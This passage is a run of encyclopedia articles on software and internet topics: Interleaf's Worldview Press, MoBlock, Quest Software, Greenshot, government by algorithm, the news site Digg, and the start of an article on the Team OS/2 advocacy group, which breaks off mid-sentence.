Worldview Press prepared documents for online viewing via Worldview. It imported documents created not only with Interleaf's systems but by the other major document creation and graphic systems of the time, including Microsoft Word, PostScript, TIFF and SGML. Using Interleaf's technical publishing system's ability to reformat documents rapidly, Worldview Press enabled the creation of documents formatted for particular delivery vehicles. For example, the same documents could be formatted for reading on a small laptop screen or for a large workstation's monitor. WorldView Press, developed in Lisp, was conceived and implemented by Jim Giza.
Interleaf Cyberleaf
As the World Wide Web became increasingly adopted as the preferred mechanism for distributing electronic documents, Interleaf added Cyberleaf, a version of the WorldView Press that produced HTML documents. BYTE Magazine Editors Choice Award in 1995
Bill O'Donnell was the designer and developer of Cyberleaf. Later versions were worked on by Brenda White.
Competitors
In the technical authoring and publishing area, Framemaker and Ventura Publisher became major competitors.
In the document management area, Interleaf competed with Documentum.
In the electronic distribution area, Adobe Acrobat, launched after Interleaf Worldview, became the dominant software.
References
External links
QuickSilver official site
Defunct software companies of the United States
Technical communication tools
Defunct companies based in Massachusetts
Software companies established in 1981
Software companies disestablished in 2000
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12085149
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https://en.wikipedia.org/wiki/MoBlock
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MoBlock
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MoBlock is free software for blocking connections to and from a specified range of hosts. Moblock is an IP address filtering program for Linux that is similar to PeerGuardian for Microsoft Windows. Its development has been stopped in favor of Phoenix Labs' official PeerGuardian Linux and parts of its code have been merged in PeerGuardian Linux.
See also
PeerGuardian
iplist
External links
MoBlock Homepage
Debian packages for MoBlock and PeerGuardian Linux
PeerGuardian project at sourceforge
Firewall software
Internet privacy software
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42437
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https://en.wikipedia.org/wiki/Quest%20Software
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Quest Software
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Quest Software, also known as Quest, is a privately held software company headquartered in Aliso Viejo, California, United States. Quest provides cloud management, software as a service, security, workforce mobility, and backup & recovery. The company was founded in 1987 and has 53 offices in 24 countries.
History
Quest Software was founded in 1987 in Newport Beach, California, with a line of products for HP Multi-Programming Executive (MPE). In 1995, Vinny Smith joined the company. The following year, Quest entered the database management market with an Oracle SQL database tuning product. In 1997, Quest opened an office in the United Kingdom.
Doug Garn joined Quest as the Vice President of Sales in 1998. That same year, Quest added offices in Germany and Australia, and Smith became CEO. In October, Quest acquired TOAD.
On August 13, 1999, Quest Software went public.
In 2002, a Quest office opened in Japan. The next year, Quest opened new offices in Asia, specifically in Singapore, Korea, and China. In 2004, Gartner named Quest number one in application management. Doug Garn became President of Quest Software in 2005.
Doug Garn became CEO and President, and Vinny Smith became Executive Chairman of Quest in 2008. In 2009, Alan Fudge became vice president of sales. In 2011, Vinny Smith became CEO and Chairman, and Doug Garn became Vice Chairman.
On September 28, 2012, Dell announced it had completed the acquisition of Quest Software.
In 2016, Quest Software acquired ScriptLogic, and Charonware s.r.o from the Czech Republic. Charonware made CASE Studio2, and after being acquired, Quest folded it into the TOAD Data Modeler product.
On November 1, 2016, Francisco Partners and Elliott Management completed the purchase of Dell Software, and the company re-launched itself as Quest Software.
On June 1, 2017, One Identity was announced as an independent brand, but remained part of the Quest family of businesses.
On September 2, 2020, Quest acquired Binary Tree. On January 5, 2021, Quest acquired erwin, Inc., including erwin Data Modeler.
On November 29, 2021, Clearlake Capital Group LP bought Quest from Francisco Partners for $5.4 billion, including debt.
Awards
The following table includes the listing and the timeline of awards and recognition that Quest Software received since 2004.
References
Software companies based in California
Technology companies based in Greater Los Angeles
Companies based in Aliso Viejo, California
Software companies established in 1987
1987 establishments in California
American companies established in 1987
Privately held companies based in California
2012 mergers and acquisitions
2016 mergers and acquisitions
Private equity portfolio companies
Software companies of the United States
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28085475
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https://en.wikipedia.org/wiki/Greenshot
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Greenshot
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Greenshot is a free and open-source screenshot program for Microsoft Windows. It is developed by Thomas Braun, Jens Klingen and Robin Krom and is published under GNU General Public License, hosted by GitHub. Greenshot is also available for macOS, but as proprietary software through the App Store.
Greenshot's feature set mainly targets project managers, testers and developers.
It is used to create full or partial screenshots. The captured screenshot can be annotated and edited using the built-in image editor before exporting it either to an image file, email attachment, printer or clipboard.
By March 2012, Greenshot was available in 33 languages; most of the translations have been contributed by users.
Features
Screenshots
Greenshot offers several modes for creating a screenshot:
"Capture region" allows to select an area of the screen by dragging a green rectangle to the desired position and size.
"Capture last region" is used to re-capture exactly the same area that was captured before.
"Capture window" creates a screenshot of the active or a selected window (depending on the user's settings).
"Capture fullscreen" captures the complete screen(s).
"Capture Internet Explorer" allows creating a scrolling capture of websites that are larger than the browser window when opened in Internet Explorer.
Image editor
If the user needs to add annotations, highlightings or obfuscations to the screenshot the built-in image editor can be used. Greenshot's image editor is a basic vector graphics editor; however, it offers some pixel-based filters.
It allows to draw basic shapes (rectangles, ellipses, lines, arrows and freehand) and add text to a screenshot. Special filter tools are present to highlight text or an area, as well as obfuscating tools (blur / pixelize) which can be used to wipe out sensitive data from a screenshot.
Each tool comes with its set of settings, e.g. line color and thickness or an option to drop a shadow.
Export for further use
Using the image editor is optional, all export options are available from its top toolbar and menu. However the user can configure Greenshot to skip this step and pass the screenshot to other destinations directly. Options are copying the image to the clipboard as Bitmap, sending it to a printer, saving it to the file system (using a user-defined pattern for the filename) or attaching it to a new e-mail message. Since version 1.0 a destination picker is available to select the export destination dynamically after every screenshot, along with several plugins for specialized export to third-party applications (e.g. Microsoft Office programs, Paint.NET) and platforms (e.g. Dropbox, JIRA).
Downloads
By July 2014 the program has been downloaded over 5 million times from SourceForge and almost 2 million downloads were counted in 2013. As of July 2014, The CNET download page counted a total of more than 110,000 downloads. In addition, Greenshot is also available for download at other software portals like Softpedia and Softonic.com.
Reviews
CNET.com staff has rated version 1.0 of Greenshot 5 of 5 stars, highlighting the possibility to select destinations dynamically and the "surprisingly sophisticated" image editor. Techworld.com concludes that "there are more powerful screen capture tools around" but still gave 4 of 5 stars for Greenshot's "general ease of use". Nick Mead of Softonic also emphasizes the program's easiness as well as the possibilities for annotation and configuration, but criticizes unneeded visual effects when doing the screen capture, rating Greenshot 7 of 10.
References
External links
Screenshot software
2010 software
Free software programmed in C Sharp
Software using the GPL license
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63424816
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https://en.wikipedia.org/wiki/Government%20by%20algorithm
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Government by algorithm
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Government by algorithm (also known as algorithmic regulation, regulation by algorithms, algorithmic governance, algocratic governance, algorithmic legal order or algocracy) is an alternative form of government or social ordering, where the usage of computer algorithms, especially of artificial intelligence and blockchain, is applied to regulations, law enforcement, and generally any aspect of everyday life such as transportation or land registration. The term 'government by algorithm' appeared in academic literature as an alternative for 'algorithmic governance' in 2013. A related term, algorithmic regulation is defined as setting the standard, monitoring and modification of behaviour by means of computational algorithms — automation of judiciary is in its scope.
Government by algorithm raises new challenges that are not captured in the e-government literature and the practice of public administration. Some sources equate cyberocracy, which is a hypothetical form of government that rules by the effective use of information, with algorithmic governance, although algorithms are not the only means of processing information. Nello Cristianini and Teresa Scantamburlo argued that the combination of a human society and certain regulation algorithms (such as reputation-based scoring) forms a social machine.
History
In 1962, the director of the Institute for Information Transmission Problems of the Russian Academy of Sciences in Moscow (later Kharkevich Institute), Alexander Kharkevich, published an article in the journal "Communist" about a computer network for processing information and control of the economy. In fact, he proposed to make a network like the modern Internet for the needs of algorithmic governance. This created a serious concern among CIA analysts. In particular, Arthur M. Schlesinger Jr. warned that "by 1970 the USSR may have a radically new production technology, involving total enterprises or complexes of industries, managed by closed-loop, feedback control employing self-teaching computers".
Between 1971 and 1973, the Chilean government carried out Project Cybersyn during the presidency of Salvador Allende. This project was aimed at constructing a distributed decision support system to improve the management of the national economy.
Also in the 1960s and 1970s, Herbert A. Simon championed expert systems as tools for rationalization and evaluation of administrative behavior. The automation of rule-based processes was an ambition of tax agencies over many decades resulting in varying success. Early work from this period includes Thorne McCarty's influential TAXMAN project in the US and Ronald Stamper's LEGOL project in the UK. In 1993, the computer scientist Paul Cockshott from the University of Glasgow and the economist Allin Cottrell from the Wake Forest University published the book Towards a New Socialism, where they claim to demonstrate the possibility of a democratically planned economy built on modern computer technology. The Honourable Justice Michael Kirby published a paper in 1998, where he expressed optimism that the then-available computer technologies such as legal expert system could evolve to computer systems, which will strongly affect the practice of courts. In 2006, attorney Lawrence Lessig known for the slogan "Code is law" wrote:"[T]he invisible hand of cyberspace is building an architecture that is quite the opposite of its architecture at its birth. This invisible hand, pushed by government and by commerce, is constructing an architecture that will perfect control and make highly efficient regulation possible"
Since the 2000s, algorithms have been designed and used to automatically analyze surveillance videos.
In his 2006's book Virtual Migration, A. Aneesh developed the concept of algocracy — information technologies constrain human participation in public decision making. Aneesh differentiated algocratic systems from bureaucratic systems (legal-rational regulation) as well as market-based systems (price-based regulation).
In 2013, algorithmic regulation was coined by Tim O'Reilly, founder and CEO of O'Reilly Media Inc.:
Sometimes the "rules" aren't really even rules. Gordon Bruce, the former CIO of the city of Honolulu, explained to me that when he entered government from the private sector and tried to make changes, he was told, "That's against the law." His reply was "OK. Show me the law." "Well, it isn't really a law. It's a regulation." "OK. Show me the regulation." "Well, it isn't really a regulation. It's a policy that was put in place by Mr. Somebody twenty years ago." "Great. We can change that!""
[...] Laws should specify goals, rights, outcomes, authorities, and limits. If specified broadly, those laws can stand the test of time. Regulations, which specify how to execute those laws in much more detail, should be regarded in much the same way that programmers regard their code and algorithms, that is, as a constantly updated toolset to achieve the outcomes specified in the laws. [...] It's time for government to enter the age of big data. Algorithmic regulation is an idea whose time has come.
In 2017, Justice Ministry of Ukraine ran experimental government auctions using blockchain technology to ensure transparency and hinder corruption in governmental transactions. "Government by Algorithm?" was the central theme introduced at Data for Policy 2017 conference held on 6-7 September 2017 in London, UK.
Examples
Smart cities
A smart city is an urban area, where collected surveillance data is used to improve various operations in this area. Increase in computational power allows more automated decision making and replacement of public agencies by algorithmic governance. In particular, the combined use of artificial intelligence and blockchains for IoT might lead to a creation of sustainable smart city ecosystems. Intelligent street lighting in Glasgow is an example of benefits brought by government application of AI algorithms.
The cryptocurrency millionaire, Jeffrey Berns, proposed to run local governments by tech firms in Nevada in 2021. Mr. Berns bought 67,000 acres (271 km²) in Nevada's rural Storey County for $170,000,000 (£121,000,000) in 2018 in order to develop a smart city with more than 36,000 residents generating an annual output of $4,600,000,000. Cryptocurrency will be allowed for payments.
Reputation systems
Tim O'Reilly suggested that data sources and reputation systems combined in algorithmic regulation can outperform traditional regulations. For instance, once taxi-drivers are rated by passengers, the quality of their services will improve automatically and "drivers who provide poor service are eliminated". O'Reilly's suggestion is based on control-theoreric concept of feed-back loop—improvements and disimprovements of reputation enforce desired behavior. The usage of feed-loops for the management of social systems is already been suggested in management cybernetics by Stafford Beer before.
These connections are explored by Nello Cristianini and Teresa Scantamburlo, where the reputation-credit scoring system is modeled as an incentive given to the citizens and computed by a social machine, so that rational agents would be motivated to increase their score by adapting their behaviour. Several ethical aspects of that technology are still being discussed.
China's Social Credit System is closely related to China's mass surveillance systems such as the Skynet, which incorporates facial recognition system, big data analysis technology and AI. This system provides assessments of trustworthiness of individuals and businesses. Among behavior, which is considered as misconduct by the system, jaywalking and failing to correctly sort personal waste are cited. Behavior listed as positive factors of credit ratings includes donating blood, donating to charity, volunteering for community services, and so on. Chinese Social Credit System enables punishments of "untrustworthy" citizens like denying purchase of tickets and rewards for "trustworthy" citizen like less waiting time in hospitals and government agencies.
Smart contracts
Smart Contracts, cryptocurrencies, and Decentralized Autonomous Organization are mentioned as means to replace traditional ways of governance. Cryptocurrencies are currencies, which are enabled by algorithms without a governmental central bank. Central bank digital currency often employs similar technology, but is differentiated from the fact that it does use a central bank. It is soon to be employed by major unions and governments such as the European Union and China. Smart contracts are self-executable contracts, whose objectives are the reduction of need in trusted governmental intermediators, arbitrations and enforcement costs. A decentralized autonomous organization is an organization represented by smart contracts that is transparent, controlled by shareholders and not influenced by a central government. Smart contracts have been discussed for use in such applications as use in (temporary) employment contracts and automatic transfership of funds and property (i.e. inheritance, upon registration of a death certificate). Some countries such as Georgia and Sweden have already launched blockchain programs focusing on property (land titles and real estate ownership) Ukraine is also looking at other areas too such as state registers.
Algorithms in government agencies
According to a study of Stanford University, 45% of the studied US federal agencies have experimented with AI and related machine learning (ML) tools up to 2020. US federal agencies counted the following number of artificial intelligence applications.
53% of these applications were produced by in-house experts. Commercial providers of residual applications include Palantir Technologies.
From 2012, NOPD started a collaboration with Palantir Technologies in the field of predictive policing. Besides Palantir's Gotham software, other similar (numerical analysis software) used by police agencies (such as the NCRIC) include SAS.
In the fight against money laundering, FinCEN employs the FinCEN Artificial Intelligence System (FAIS).
National health administration entities and organisations such as AHIMA (American Health Information Management Association) hold medical records. Medical records serve as the central repository for planning patient care and documenting communication among patient and health care provider and professionals contributing to the patient's care. In the EU, work is ongoing on a European Health Data Space which supports the use of health data.
US Department of Homeland Security has employed the software ATLAS, which run on Amazon Cloud. It scanned more than 16.5 million of records of naturalized Americans and flagged approximately 124,000 of them for manual annalysis and review by USCIS officers regarding denaturalization. There were flagged due to potential fraud, public safety and national security issues. Some of the scanned data came from Terrorist Screening Database and National Crime Information Center.
In Estonia, artificial intelligence is used in its e-government to make it more automated and seamless. A virtual assistant will guide citizens through any interactions they have with the government. Automated and proactive services "push" services to citizens at key events of their lives (including births, bereavements, unemployment, ...). One example is the automated registering of babies when they are born. Estonia's X-Road system will also be rebuilt to include even more privacy control and accountability into the way the government uses citizen's data.
In Costa Rica, the possible digitalization of public procurement activities (i.e. tenders for public works, ...) has been investigated. The paper discussing this possibility mentions that the use of ICT in procurement has several benefits such as increasing transparency, facilitating digital access to public tenders, reducing direct interaction between procurement officials and companies at moments of high integrity risk, increasing outreach and competition, and easier detection of irregularities.
Besides using e-tenders for regular public works (construction of buildings, roads, ...), e-tenders can also be used for reforestation projects and other carbon sink restoration projects. Carbon sink restoration projects may be part of the nationally determined contributions plans in order to reach the national Paris agreement goals
Government procurement audit software can also be used. Audits are performed in some countries after subsidies have been received.
Some government agencies provide track and trace systems for services they offer. An example is track and trace for applications done by citizens (i.e. driving license procurement).
Some government services use issue tracking system to keep track of ongoing issues.
Justice by algorithm
Judges' decisions in Australia are supported by the "Split Up" software in case of determining the procentage of a split after a divorce.
COMPAS software is used in USA to assess the risk of recidivism in courts.
According to the statement of Beijing Internet Court, China is the first country to create an internet court or cyber court. The Chinese AI judge is a virtual recreation of an actual female judge. She "will help the court's judges complete repetitive basic work, including litigation reception, thus enabling professional practitioners to focus better on their trial work".
Also Estonia plans to employ artificial intelligence to decide small-claim cases of less than €7,000.
Lawbots can perform tasks that are typically done by paralegals or young associates at law firms. One such technology used by US law firms to assist in legal research is from ROSS Intelligence, and others vary in sophistication and dependence on scripted algorithms. Another legal technology chatbot application is DoNotPay.
AI in education
Due to the COVID-19 pandemic in 2020, in-person final exams were impossible for thousands of students. The public high school Westminster High employed algorithms to assign grades. UK's Department for Education also employed a statistical calculus to assign final grades in A-levels, due to the pandemic.
Besides use in grading, software systems and AI are also optimizing coursework and are used in preparation for college entrance exams.
AI teaching assistants are being developed and used for education (i.e. Georgia Tech's Jill Watson) and there is also an ongoing debate on whether perhaps teachers can be entirely replaced by AI systems (i.e. in homeschooling).
AI politicians
In 2018, an activist named Michihito Matsuda ran for mayor in the Tama city area of Tokyo as a human proxy for an artificial intelligence program. While election posters and campaign material used the term robot, and displayed stock images of a feminine android, the "AI mayor" was in fact a machine learning algorithm trained using Tama city datasets. The project was backed by high-profile executives Tetsuzo Matsumoto of Softbank and Norio Murakami of Google. Michihito Matsuda came third in the election, being defeated by Hiroyuki Abe. Organisers claimed that the 'AI mayor' was programmed to analyze citizen petitions put forward to the city council in a more 'fair and balanced' way than human politicians.
In 2019, AI-powered messenger chatbot SAM participated in the discussions on social media connected to an electoral race in New Zealand. The creator of SAM, Nick Gerritsen, believes SAM will be advanced enough to run as a candidate by late 2020, when New Zealand has its next general election.
Management of infection
In February 2020, China launched a mobile app to deal with the Coronavirus outbreak called "close-contact-detector". Users are asked to enter their name and ID number. The app is able to detect "close contact" using surveillance data (i.e. using public transport records, including trains and flights) and therefore a potential risk of infection. Every user can also check the status of three other users. To make this inquiry users scan a Quick Response (QR) code on their smartphones using apps like Alipay or WeChat. The close contact detector can be accessed via popular mobile apps including Alipay. If a potential risk is detected, the app not only recommends self-quarantine, it also alerts local health officials.
Alipay also has the Alipay Health Code which is used to keep citizens safe. This system generates a QR code in one of three colors (green, yellow, or red) after users fill in a form on Alipay with personal details. A green code enables the holder to move around unrestricted. A yellow code requires the user to stay at home for seven days and red means a two-week quarantine. In some cities such as Hangzhou, it has become nearly impossible to get around without showing one's Alipay code.
In Cannes, France, monitoring software has been used on footage shot by CCTV cameras, allowing to monitor their compliance to local social distancing and mask wearing during the COVID-19 pandemic. The system does not store identifying data, but rather allows to alert city authorities and police where breaches of the mask and mask wearing rules are spotted (allowing fining to be carried out where needed). The algorithms used by the monitoring software can be incorporated into existing surveillance systems in public spaces (hospitals, stations, airports, shopping centres, ...)
Cellphone data is used to locate infected patients in South Korea, Taiwan, Singapore and other countries. In March 2020, the Israeli government enabled security agencies to track mobile phone data of people supposed to have coronavirus. The measure was taken to enforce quarantine and protect those who may come into contact with infected citizens. Also in March 2020, Deutsche Telekom shared private cellphone data with the federal government agency, Robert Koch Institute, in order to research and prevent the spread of the virus. Russia deployed facial recognition technology to detect quarantine breakers. Italian regional health commissioner Giulio Gallera said that "40% of people are continuing to move around anyway", as he has been informed by mobile phone operators. In USA, Europe and UK, Palantir Technologies is taken in charge to provide COVID-19 tracking services.
Prevention and management of environmental disasters
Tsunamis can be detected by Tsunami warning systems. They can make use of AI. Floodings can also be detected using AI systems. Locust breeding areas can be approximated using machine learning, which could help to stop locust swarms in an early phase. Wildfires can be predicted using AI systems.
Also, wildfire detection is possible by AI systems (i.e. through satellite data, aerial imagery, and personnel position). and they can also help in evacuation of people during wildfires.
Reception
Benefits
Algorithmic regulation is supposed to be a system of governance where more exact data, collected from citizens via their smart devices and computers, is used to more efficiently organize human life as a collective. As Deloitte estimated in 2017, automation of US government work could save 96.7 million federal hours annually, with a potential savings of $3.3 billion; at the high end, this rises to 1.2 billion hours and potential annual savings of $41.1 billion.
Criticism
There are potential risks associated with the use of algorithms in government. Those include algorithms becoming susceptible to bias, a lack of transparency in how an algorithm may make decisions, and the accountability for any such decisions.
There is also a serious concern that gaming by the regulated parties might occur, once more transparency is brought into the decision making by algorithmic governance, regulated parties might try to manipulate their outcome in own favor and even use adversarial machine learning. According to Harari, the conflict between democracy and dictatorship is seen as a conflict of two different data-processing systems—AI and algorithms may swing the advantage toward the latter by processing enormous amounts of information centrally.
In 2018, the Netherlands employed an algorithmic system SyRI (Systeem Risico Indicatie) to detect citizens perceived being high risk for committing welfare fraud, which quietly flagged thousands of people to investigators. This caused a public protest. The district court of Hague shut down SyRI referencing Article 8 of the European Convention on Human Rights (ECHR).
The contributors of the 2019 documentary iHuman expressed apprehension of "infinitely stable dictatorships" created by government AI.
In 2020, algorithms assigning exam grades to students in the UK sparked open protest under the banner "Fuck the algorithm." This protest was successful and the grades were taken back.
In 2020, the US government software ATLAS, which run on Amazon Cloud, sparked uproar from activists and Amazon's own employees.
In 2021, Eticas Foundation has launched a database of governmental algorithms called Observatory of Algorithms with Social Impact (OASI).
Algorithmic bias and transparency
An initial approach towards transparency included the open-sourcing of algorithms. Software code can be looked into and improvements can be proposed through source-code-hosting facilities.
Public acceptance
A 2019 poll conducted by IE University's Center for the Governance of Change in Spain found that 25% of citizens from selected European countries were somewhat or totally in favor of letting an artificial intelligence make important decisions about how their country is run. The following table lists the results by country:
Researchers found some evidence that when citizens perceive their political leaders or security providers to be untrustworthy, disappointing, or immoral, they prefer to replace them by artificial agents, whom they consider to be more reliable. The evidence is established by survey experiments on university students of all genders.
In popular culture
The novels Daemon and Freedom™ by Daniel Suarez describe a fictional scenario of global algorithmic regulation.
See also
Anti-corruption
Civic technology
Code for America
Cyberpunk
Digital divide
Digital Nations
Distributed ledger technology law
ERulemaking
Lawbot
Legal informatics
Management cybernetics
Multivac
Predictive analytics
Sharing economy
Smart contract
Technoutopianism
References
Bibliography
Code: Version 2.0 (Basic Books, 2006)
External links
Government by Algorithm? by Data for Policy 2017 Conference
Government by Algorithm by Stanford University
A governance framework for algorithmic accountability and transparency by European Parliament
Algorithmic Government by Zeynep Engin and Philip Treleaven, University College London
Algorithmic Government by Prof. Philip C. Treleaven of University College London
Artificial Intelligence for Citizen Services and Government by Hila Mehr of Harvard University
The OASI Register, algorithms with social impact
iHuman (Documentary, 2019) by Tonje Hessen Schei
How Blockchain can transform India: Jaspreet Bindra
Can An AI Design Our Tax Policy?
New development: Blockchain—a revolutionary tool for the public sector, An introduction on the Blockchain's usage in the public sector by Vasileios Yfantis
Collaboration
Social networks
Transhumanism
Technological utopianism
Artificial intelligence applications
E-government
Sustainability
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11041618
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https://en.wikipedia.org/wiki/Digg
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Digg
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Digg, stylized in lowercase as digg, is an American news aggregator with a curated front page, aiming to select stories specifically for the Internet audience such as science, trending political issues, and viral Internet issues. It was launched in its current form on July 31, 2012, with support for sharing content to other social platforms such as Twitter and Facebook.
It formerly had been a popular social news website, allowing people to vote web content up or down, called digging and burying, respectively. In 2012, Quantcast estimated Digg's monthly U.S. unique visits at 3.8 million. Digg's popularity prompted the creation of similar sites such as Reddit.
In July 2008, the former company took part in advanced acquisition talks with Google for a reported $200 million price tag, but the deal ultimately fell through. After a controversial 2010 redesign and the departure of co-founders Jay Adelson and Kevin Rose, in July 2012 Digg was sold in three parts: the Digg brand, website, and technology were sold to Betaworks for an estimated $500,000; 15 staff were transferred to The Washington Posts "SocialCode" for a reported $12 million; and a suite of patents was sold to LinkedIn for about $4 million.
Digg was purchased by BuySellAds, an advertising company, for an undisclosed amount in April 2018.
History
Digg started as an experiment in November 2004 by collaborators Kevin Rose, Owen Byrne, Ron Gorodetzky, and Jay Adelson. The original design by Dan Ries was free of advertisements. The company added Google AdSense early in the project but switched to MSN adCenter in 2007.
The site's main function was to let users discover, share and recommend web content. Members of the community could submit a webpage for general consideration. Other members could vote that page up ("digg") or down ("bury"). Although voting took place on digg.com, many websites added "digg" buttons to their pages, allowing users to vote as they browsed the web. The end product was a series of wide-ranging, constantly updated lists of popular and trending content from around the Internet, aggregated by a social network.
Additions and improvements were made throughout the website's first years. Digg v2 was released in July 2005, with a new interface by web design company silverorange. New features included a friends list, and the ability to "digg" a story without being redirected to a success page. One year later, as part of Digg v3, the website added specific categories for technology, science, world and business, videos, entertainment, and gaming, as well as a "view all" section that merged all categories. Further interface adjustments were made in August 2007.
By 2008, Digg's homepage was attracting over 236 million visitors annually, according to a Compete.com survey. Digg had grown large enough that it was thought to affect the traffic of submitted web pages. Some pages experienced a sudden increase in traffic shortly after being submitted; some Digg users refer to this as the "Digg effect".
Redesign
CEO Jay Adelson announced in 2010 that the site would undergo an extensive overhaul. In an interview with Wired magazine, Adelson stated that "Every single thing has changed" and that "the entire website has been rewritten." The company switched from MySQL to Cassandra, a distributed database system; in a blog post, VP Engineering John Quinn described the move as "bold". Adelson summed up the new Digg by saying, "We've got a new backend, a new infrastructure layer, a new services layer, new machines—everything."
Adelson stepped down as CEO on April 5, 2010, to explore entrepreneurial opportunities, months before the launch date of Digg v4. He had been the company's CEO since its inception. Kevin Rose, another original founder, stepped in temporarily as CEO and Chairman.
Digg's v4 release on August 25, 2010, was marred by site-wide bugs and glitches. Digg users reacted with hostile verbal opposition. Beyond the release, Digg faced problems due to so-called "power users" who would manipulate the article recommendation features to only support one another's postings, flooding the site with articles only from these users and making it impossible to have genuine content from non-power users appear on the front page . Frustrations with the system led to dwindling web traffic, exacerbated by heavy competition from Facebook, whose like buttons started to appear on websites next to Digg's. High staff turnover included the departure of head of business development Matt Van Horn, shortly after v4's release.
On September 1, 2010, Matt Williams took over as CEO, ending Rose's troubled tenure as interim chief executive.
In 2013, Andrew McLaughlin took over as CEO after Digg was sold to BetaWorks and re-launched.
In 2015, Gary Liu took over as Digg CEO.
In 2016, Joshua Auerbach took over as interim CEO.
In September 2016, Digg announced that it would begin a data partnership with Gannett. The "seven figure" investment would give Gannett access to real-time trend analysis of Digg's 7.5 million pieces of content.
In 2017, Michael O'Connor took over as CEO, and continues as CEO today.
Sale and relaunch
In July 2012, Digg was sold in three parts: the Digg brand, website, and technology were sold to Betaworks for $500,000; 15 staff were transferred to The Washington Posts SocialCode project for $12 million, and a suite of patents was sold to LinkedIn for around $4 million.
There are reports that Digg had been trying to sell itself to a larger company since early 2006. The most notable attempt took place in July 2008, when Google entered talks to buy Digg for around $200 million. Google walked away from negotiations during the deal's due diligence phase, informing Digg on July 25 that it was no longer interested in the purchase. Digg subsequently went into further venture capital funding, receiving $28.7 million from investors such as Highland Capital Partners to move headquarters and add staff. Several months later, CEO Jay Adelson said Digg was no longer for sale.
On July 20, 2012, new owners Betaworks announced via Twitter that they were rebuilding Digg from scratch, "turning [Digg] back into a start-up". Betaworks gave the project a six-week deadline. Surveys of existing users, through the website ReThinkDigg.com, were used to inform the development of a new user interface and user experience.
Digg tried rebooting itself by resetting its version number and launching Digg v1 a day early on July 31, 2012. It featured an editorially driven front page, more images, and top, popular and upcoming stories. Users could access a new scoring system. There was increased support for sharing content to other social platforms such as Twitter and Facebook. Digg's front page content is selected by editors, instead of users on other communities like Reddit.
In March 2018, Digg announced that it would shut down its RSS reader, Digg Reader.
Until its sale to BuySellAds.com in 2018, its offices were located at 50 Eldridge Street in New York City's Chinatown.
Features
Digg Reader
In response to the announced shutdown of Google Reader, Digg announced on March 14, 2013 that it was working on its own RSS reader. Digg Reader launched on June 28, 2013 as a web and iOS application. An Android app was released on August 29, 2013. Digg announced that it would shut down Digg Reader on March 26, 2018.
Issues relating to former Digg website
Organized promotion and censorship by users
It was possible for users to have disproportionate influence on Digg, either by themselves or in teams. These users were sometimes motivated to promote or bury pages for political or financial reasons.
Serious attempts by users to game the site began in 2006. A top user was banned after agreeing to promote a story for cash to an undercover Digg sting operation. Another group of users openly formed a 'Bury Brigade' to remove "spam" articles about US politician Ron Paul; critics accused the group of attempting to stifle any mention of Ron Paul on Digg.
Digg hired computer scientist Anton Kast to develop a diversity algorithm that would prevent special interest groups from dominating Digg. During a town hall meeting, Digg executives responded to criticism by removing some features that gave superusers extra weight, but declined to make "buries" transparent.
However, later that year Google increased its page rank for Digg. Shortly afterwards, many 'pay for Diggs' startups were created to profit from the opportunity. According to TechCrunch, one top user charged $700 per story, with a $500 bonus if the story reached the front page.
Digg Patriots was a conservative Yahoo! Groups mailing list, with an associated page on coRank, accused of coordinated, politically motivated behavior on Digg. Progressive blogger Ole Ole Olson wrote in August 2010 that Digg Patriots undertook a year-long effort of organized burying of seemingly liberal articles from Digg's Upcoming module. He also accused leading members of vexatiously reporting liberal users for banning (and those who seemed liberal), and creating "sleeper" accounts in the event of administrators banning their accounts. These and other actions would violate Digg's terms of usage. Olson's post was immediately followed by the disbanding and closure of the DiggPatriots list, and an investigation into the matter by Digg.
AACS encryption key controversy
On May 1, 2007, an article appeared on Digg's homepage that contained the encryption key for the AACS digital rights management protection of HD DVD and Blu-ray Disc. Then Digg, "acting on the advice of its lawyers", removed posting submissions about the secret number from its database and banned several users for submitting it. The removals were seen by many Digg users as a capitulation to corporate interests and an assault on free speech. A statement by Jay Adelson attributed the article's take-down to an attempt to comply with cease and desist letters from the Advanced Access Content System consortium and cited Digg's Terms of Use as justification for taking down the article. Although some users defended Digg's actions, as a whole the community staged a widespread revolt with numerous articles and comments made using the encryption key. The scope of the user response was so great that one of the Digg users referred to it as a "digital Boston Tea Party". The response was also directly responsible for Digg reversing the policy and stating: "But now, after seeing hundreds of stories and reading thousands of comments, you've made it clear. You'd rather see Digg go down fighting than bow down to a bigger company. We hear you, and effective immediately we won't delete stories or comments containing the code and will deal with whatever the consequences might be."
Digg v4
Digg's version 4 release was initially unstable. The site was unreachable or unstable for weeks after its launch on August 25, 2010. Many users, upon finally reaching the site, complained about the new design and the removal of many features (such as bury, favorites, friends submissions, upcoming pages, subcategories, videos and history search). Kevin Rose replied to complaints on his blog, promising to fix the algorithm and restore some features.
Alexis Ohanian, founder of rival site Reddit, said in an open letter to Rose:
Disgruntled users declared a "quit Digg day" on August 30, 2010, and used Digg's own auto-submit feature to fill the front page with content from Reddit. Reddit also temporarily added the Digg shovel to their logo to welcome fleeing Digg users.
Digg's traffic dropped significantly after the launch of version 4, and publishers reported a drop in direct referrals from stories on Digg's front page. New CEO Matt Williams attempted to address some of the users' concerns in a blog post on October 12, 2010, promising to reinstate many of the features that had been removed.
Timeline
See also
Delicious
diggnation
Facebook
Fark
Mixx
Propeller.com
Reddit
Slashdot
Social bookmarking
StumbleUpon
Virato Social News
Web 2.0
Wykop.pl
References
External links
News aggregators
American news websites
Social bookmarking websites
Internet properties established in 2004
Social information processing
2004 establishments in California
Companies based in New York City
Censored works
Social software
Shorty Award winners
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https://en.wikipedia.org/wiki/Team%20OS/2
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Team OS/2
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Team OS/2 was an advocacy group formed to promote IBM's OS/2 operating system. Originally internal to IBM with no formal IBM support, Team OS/2 successfully converted to a grassroots movement formally supported (but not directed) by IBM - consisting of well over ten thousand OS/2 enthusiasts both within and without IBM. It is one of the earliest examples of both an online viral phenomenon and a cause attracting supporters primarily through online communications.
The decline of Team OS/2 largely coincided with IBM's abandonment of OS/2 and the coinciding attacks orchestrated by Microsoft on OS/2, Team OS/2, and IBM's early attempts at online evangelism.
History
Beginnings
Team OS/2 was a significant factor in the spread and acceptance of OS/2. Formed in February 1992, Team OS/2 began when IBM employee Dave Whittle, recently appointed by IBM to evangelize OS/2 online, formed an internal IBM discussion group titled TEAMOS2 FORUM on IBM's worldwide network, which at the time, served more individuals than did the more academic Internet.
The forum header stated that its purpose was
